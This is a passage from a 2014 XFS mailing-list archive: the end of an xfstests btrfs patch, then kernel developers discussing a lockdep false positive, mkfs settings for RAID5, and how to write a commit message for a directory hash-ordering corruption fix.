X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 37752198 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 101376/101376 bytes at offset 189717473 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 227463698 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 12655137 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 7488866 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 87813649 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 33792/33792 bytes at offset 25802183 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 93524024 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 33792/33792 bytes at offset 113336388 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 105472/105472 bytes at offset 184955320 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 101376/101376 bytes at offset 225691598 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 77023155 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 201888192 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 115332492 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 230278015 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 120589073 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 202207819 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 86672080 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 17408/17408 bytes at offset 208459603 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 73372211 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 42252122 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 46784881 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 101376/101376 bytes at offset 63172351 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 59341931 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 239599283 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 67584/67584 bytes at offset 175643105 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 105534880 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 113664/113664 bytes at offset 8236844 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 144489686 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 7000/7000 bytes at offset 73273112 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 194580243 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 123/123 bytes at offset 56296779 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 233066845 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 39936/39936 bytes at offset 197727090 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 101376/101376 bytes at offset 53579812 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 85669738 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 125952/125952 bytes at offset 21266322 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 23552/23552 bytes at offset 125726568 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 9216/9216 bytes at offset 18423680 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 1121/1121 bytes at offset 165901483 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 10/10 bytes at offset 16190218 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +File digests in the original filesystem: +79e53f1466bfc09fd82b450689e6119e SCRATCH_MNT/foo +d41d8cd98f00b204e9800998ecf8427e SCRATCH_MNT/mysnap0/foo +6eaa6adbb0d608958367d236a9fbe407 SCRATCH_MNT/mysnap1/foo +79e53f1466bfc09fd82b450689e6119e SCRATCH_MNT/mysnap2/foo +File digests in the replica filesystem: +6eaa6adbb0d608958367d236a9fbe407 SCRATCH_MNT/mysnap1/foo +79e53f1466bfc09fd82b450689e6119e SCRATCH_MNT/mysnap2/foo diff --git a/tests/btrfs/group b/tests/btrfs/group index 9b41895..3a6d34e 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -48,3 +48,4 @@ 043 auto quick 044 auto quick 045 auto quick +046 auto quick -- 1.7.10.4 From david@fromorbit.com Sun Mar 30 18:44:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C94BC29DF9 for ; Sun, 30 Mar 2014 18:44:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id ABA1E8F8033 for ; Sun, 30 Mar 2014 16:44:27 -0700 (PDT) X-ASG-Debug-ID: 1396223062-04cbb054b994fbf0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id yaCCDO6yyP7BfRJ3 for ; Sun, 30 Mar 2014 16:44:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ai1lAMqrOFN5LEcvPGdsb2JhbABYgwY7gw+nOAWZIIERFwMBAQEBODWCJQEBAQQnExwzCAMYCSUPBSUDBxoBEod4DtB4FxaOGAEBVoMkgRQEmE2BNIkpix0pgTU Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 31 Mar 2014 10:13:48 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUPO3-0004Xf-Vm; Mon, 31 Mar 2014 10:43:36 +1100 Date: Mon, 31 Mar 2014 10:43:35 +1100 From: Dave Chinner To: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: xfs i_lock vs mmap_sem lockdep trace. Message-ID: <20140330234335.GB16336@dastard> X-ASG-Orig-Subj: Re: xfs i_lock vs mmap_sem lockdep trace. References: <20140329223109.GA24098@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140329223109.GA24098@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396223062 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4439 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Mar 29, 2014 at 06:31:09PM -0400, Dave Jones wrote: > Not sure if I've reported this already (it looks familiar, though I've not managed > to find it in my sent mail folder). This is rc8 + a diff to fix the stack usage reports > I was seeing (diff at http://paste.fedoraproject.org/89854/13210913/raw) > > ====================================================== > [ INFO: possible circular locking dependency detected ] > 3.14.0-rc8+ #153 Not tainted > ------------------------------------------------------- > git/32710 is trying to acquire lock: > (&(&ip->i_lock)->mr_lock){++++.+}, at: [] xfs_ilock+0x122/0x250 [xfs] > > but task is already holding lock: > (&mm->mmap_sem){++++++}, at: [] __do_page_fault+0x14a/0x610 > > which lock already depends on the new lock. filldir on a directory inode vs page fault on regular file. Known issue, definitely a false positive. We have to change locking algorithms to avoid such deficiencies of lockdep (a case of "lockdep considered harmful", perhaps?) so it's not something I'm about to rush... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Mar 30 18:46:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C957129DFE for ; Sun, 30 Mar 2014 18:46:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B72DF304039 for ; Sun, 30 Mar 2014 16:46:28 -0700 (PDT) X-ASG-Debug-ID: 1396223186-04cb6c5675b3a170001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Q6zQuZBsylzIYXrn for ; Sun, 30 Mar 2014 16:46:26 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al1OAMqrOFN5LEcvPGdsb2JhbABYgwaDSoUMu1GBERcDAQEBATg1giUBAQEEOhwjEAgDGAklDwUlAwcth3jRBhcWiTqEZkkHFoMOgRQEmE2VeimBLQ Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 31 Mar 2014 10:16:25 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUPQl-0004Xy-Ql; Mon, 31 Mar 2014 10:46:23 +1100 Date: Mon, 31 Mar 2014 10:46:23 +1100 From: Dave Chinner To: weber@zbfmail.de Cc: Xfs Subject: Re: xfs help question Message-ID: <20140330234623.GC16336@dastard> X-ASG-Orig-Subj: Re: xfs help question References: <6997ecc6ee5c7096ded12e8ad3d77d12@zbfmail.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <6997ecc6ee5c7096ded12e8ad3d77d12@zbfmail.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396223186 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4438 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Mar 30, 2014 at 09:12:20AM +0200, Marko Weber|8000 wrote: > > hello again me ;-), > i thought best place to ask this is here. > i read the faq alot last days but have still questions: > > i got a server now with 4 Disks, > i plan to do an raid5 with linux soft raid. > On the server is planed to store 'larger' from 1GB up to 60GB. > > what would be best settings when formatting with xfs? > is it better to use '-b size=4096' or the '512'? > should i manipulate the '-i size=' to 2048? or use the default? Use the defaults. The defaults on md/dm raid will do the right things to configure the filesystem and handle crash safety properly. Unless you have experience with XFS and the storage stack and know exactly what you *need to do*, tweaking knobs will only cause bad things to happen to you and your data. Cheers, Dave. -- Dave Chinner david@fromorbit.com From viro@ftp.linux.org.uk Sun Mar 30 18:57:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 395AF29E00 for ; Sun, 30 Mar 2014 18:57:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B3F08AC002 for ; Sun, 30 Mar 2014 16:57:25 -0700 (PDT) X-ASG-Debug-ID: 1396223841-04cb6c5676b3aa90001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id d6OoAixwP95vdnyN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 30 Mar 2014 16:57:22 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WUPbJ-0001tz-8v; Sun, 30 Mar 2014 23:57:17 +0000 Date: Mon, 31 Mar 2014 00:57:17 +0100 From: Al Viro To: Dave Chinner Cc: Dave Jones , Linux Kernel , xfs@oss.sgi.com Subject: Re: xfs i_lock vs mmap_sem lockdep trace. Message-ID: <20140330235717.GO18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: xfs i_lock vs mmap_sem lockdep trace. References: <20140329223109.GA24098@redhat.com> <20140330234335.GB16336@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140330234335.GB16336@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1396223842 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 31, 2014 at 10:43:35AM +1100, Dave Chinner wrote: > filldir on a directory inode vs page fault on regular file. Known > issue, definitely a false positive. We have to change locking > algorithms to avoid such deficiencies of lockdep (a case of "lockdep > considered harmful", perhaps?) so it's not something I'm about to > rush... Give i_lock on directories a separate class, as it's been done for i_mutex... From david@fromorbit.com Sun Mar 30 19:11:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8BDED7F58 for ; Sun, 30 Mar 2014 19:11:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7DF04304032 for ; Sun, 30 Mar 2014 17:11:01 -0700 (PDT) X-ASG-Debug-ID: 1396224658-04cbb054b99512a0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id sYIOJYKP5BcCGsBZ for ; Sun, 30 Mar 2014 17:10:59 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AixlAOCxOFN5LEcvPGdsb2JhbABZgwY7gw+nOQWZIIETFwMBAQEBODWCJQEBAQQ6HCMQCAMYCSUPBSUDBxoTh3gO0QEXFoxpggAHgySBFASYTZV6KQ Received: from ppp121-44-71-47.lns20.syd6.internode.on.net (HELO dastard) ([121.44.71.47]) by ipmail04.adl6.internode.on.net with ESMTP; 31 Mar 2014 10:40:58 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WUPoW-0004hC-3x; Mon, 31 Mar 2014 11:10:56 +1100 Date: Mon, 31 Mar 2014 11:10:56 +1100 From: Dave Chinner To: Mark Tinguely Cc: XFS Mailing List , Linux Stable Subject: Re: [PATCH] xfs: fix bad hash ordering Message-ID: <20140331001055.GD16336@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix bad hash ordering References: <20140328173430.622616177@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140328173430.622616177@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1396224658 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Mar 28, 2014 at 12:33:34PM -0500, Mark Tinguely wrote: > Fix the fix directory "bad hash ordering" bug introduced in > commit f5ea1100. The patch looks like it fixes a hashing issue, but I really can't tell what hashing issue it fixes from the commit message. I don't know if you've identified the right commit just by looking at it - to confirm you've quoted the correct hash I have to find it, parse it, read the diff and try and work out whether it could have introduced some bug that you haven't described.... .... introduced in commit f5ea110 ("xfs: add CRCs to dir2/da node blocks") .... is far more informative, even for the causal reader.... Secondly, reading that commit subject and message in isolation, it didn't even occur to me that this is a fix for a filesystem corruption bug. Any distro maintainer reading the commit logs won't have any idea that they need to pick this up, either. IOWs, it is extremely important that the commit message for a filesystem corruption bug fix to be clearly marked as fixing a corruption bug, explain what the bug is, what they user visible symptoms are, what the impact of the corruption is, how likely users are going to be impacted by it, whether is causes permanent loss of data or not, etc. This doesn't belong in a throw-away comment to your fix... > --- > A C program that generates this problem can be found at: > http://oss.sgi.com/archives/xfs/2014-03/msg00373.html > > A xfstest for this bug is coming from Hannes Frederic Sowa. Can you convert this program to an xfstest yourself so that I can commit the regression test at the same time I commit an updated fix? Cheers, Dave. -- Dave Chinner david@fromorbit.com From davej@redhat.com Sun Mar 30 19:20:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C6C929DFD for ; Sun, 30 Mar 2014 19:20:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6E3C88F8035 for ; Sun, 30 Mar 2014 17:20:42 -0700 (PDT) X-ASG-Debug-ID: 1396225241-04cb6c5676b3bcd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id WgTEI6YceqsAIKXv for ; Sun, 30 Mar 2014 17:20:41 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2V0KdOM020127 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 30 Mar 2014 20:20:39 -0400 Received: from gelk.kernelslacker.org (ovpn-113-81.phx2.redhat.com [10.3.113.81]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2V0KXdV010643 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Sun, 30 Mar 2014 20:20:39 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.8/8.14.7) with ESMTP id s2V0KWxt020641; Sun, 30 Mar 2014 20:20:32 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.8/8.14.8/Submit) id s2V0KUl4020640; Sun, 30 Mar 2014 20:20:30 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Sun, 30 Mar 2014 20:20:30 -0400 From: Dave Jones To: Dave Chinner Cc: Linux Kernel , xfs@oss.sgi.com Subject: Re: xfs i_lock vs mmap_sem lockdep trace. Message-ID: <20140331002030.GA19391@redhat.com> X-ASG-Orig-Subj: Re: xfs i_lock vs mmap_sem lockdep trace. Mail-Followup-To: Dave Jones , Dave Chinner , Linux Kernel , xfs@oss.sgi.com References: <20140329223109.GA24098@redhat.com> <20140330234335.GB16336@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140330234335.GB16336@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396225241 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Mar 31, 2014 at 10:43:35AM +1100, Dave Chinner wrote: > On Sat, Mar 29, 2014 at 06:31:09PM -0400, Dave Jones wrote: > > Not sure if I've reported this already (it looks familiar, though I've not managed > > to find it in my sent mail folder). This is rc8 + a diff to fix the stack usage reports > > I was seeing (diff at http://paste.fedoraproject.org/89854/13210913/raw) > > > > ====================================================== > > [ INFO: possible circular locking dependency detected ] > > 3.14.0-rc8+ #153 Not tainted > > ------------------------------------------------------- > > git/32710 is trying to acquire lock: > > (&(&ip->i_lock)->mr_lock){++++.+}, at: [] xfs_ilock+0x122/0x250 [xfs] > > > > but task is already holding lock: > > (&mm->mmap_sem){++++++}, at: [] __do_page_fault+0x14a/0x610 > > > > which lock already depends on the new lock. > > filldir on a directory inode vs page fault on regular file. Known > issue, definitely a false positive. ah yeah, thought it looked familiar. I think I reported this last summer. > We have to change locking > algorithms to avoid such deficiencies of lockdep (a case of "lockdep > considered harmful", perhaps?) so it's not something I'm about to > rush... Bummer, as it makes lockdep useless on my test box using xfs because it disables itself after hitting this very quickly. (I re-enabled it a couple days ago wondering why I'd left it turned off, chances are it was because of this) Dave From sandeen@sandeen.net Sun Mar 30 19:35:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id AE82C7F57 for ; Sun, 30 Mar 2014 19:35:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 898E88F8033 for ; Sun, 30 Mar 2014 17:35:47 -0700 (PDT) X-ASG-Debug-ID: 1396226146-04cb6c5676b3c910001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id qV8SZLGHOFDgpw5s for ; Sun, 30 Mar 2014 17:35:46 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (unknown [187.157.176.2]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 12ACE63C3A3B; Sun, 30 Mar 2014 19:35:44 -0500 (CDT) Message-ID: <5338B863.9050106@sandeen.net> Date: Sun, 30 Mar 2014 18:35:47 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Dave Chinner , Mark Tinguely CC: Linux Stable , XFS Mailing List Subject: Re: [PATCH] xfs: fix bad hash ordering References: <20140328173430.622616177@sgi.com> <20140331001055.GD16336@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix bad hash ordering In-Reply-To: <20140331001055.GD16336@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1396226146 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4441 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 3/30/14, 6:10 PM, Dave Chinner wrote: > On Fri, Mar 28, 2014 at 12:33:34PM -0500, Mark Tinguely wrote: >> Fix the fix directory "bad hash ordering" bug introduced in >> commit f5ea1100. > > The patch looks like it fixes a hashing issue, but I really can't > tell what hashing issue it fixes from the commit message. > > I don't know if you've identified the right commit just by looking > at it - to confirm you've quoted the correct hash I have to find it, > parse it, read the diff and try and work out whether it could have > introduced some bug that you haven't described.... > > .... introduced in commit f5ea110 ("xfs: add CRCs to dir2/da node > blocks") .... > > is far more informative, even for the causal reader.... > > Secondly, reading that commit subject and message in isolation, > it didn't even occur to me that this is a fix for a filesystem > corruption bug. Any distro maintainer reading the commit logs won't > have any idea that they need to pick this up, either. > > IOWs, it is extremely important that the commit message for a > filesystem corruption bug fix to be clearly marked as fixing a > corruption bug, explain what the bug is, what they user visible > symptoms are, what the impact of the corruption is, how likely users > are going to be impacted by it, whether is causes permanent loss > of data or not, etc. This doesn't belong in a throw-away comment to > your fix... But thanks a lot for jumping on the bug report & getting the fix out on the list in short order. ;) -Eric From david@fromorbit.com Sun Mar 30 19:41:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5251A7F5D for ; Sun, 30 Mar 2014 19:41:00 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3CADC8F8033 for ; Sun, 30 Mar 2014 17:41:00 -0700 (PDT) X-ASG-Debug-ID: 1396226457-04cb6c5676b3ccc0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id tYKfdnIghU6aHrkU for ; Sun, 30 Mar 2014 17:40:58 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 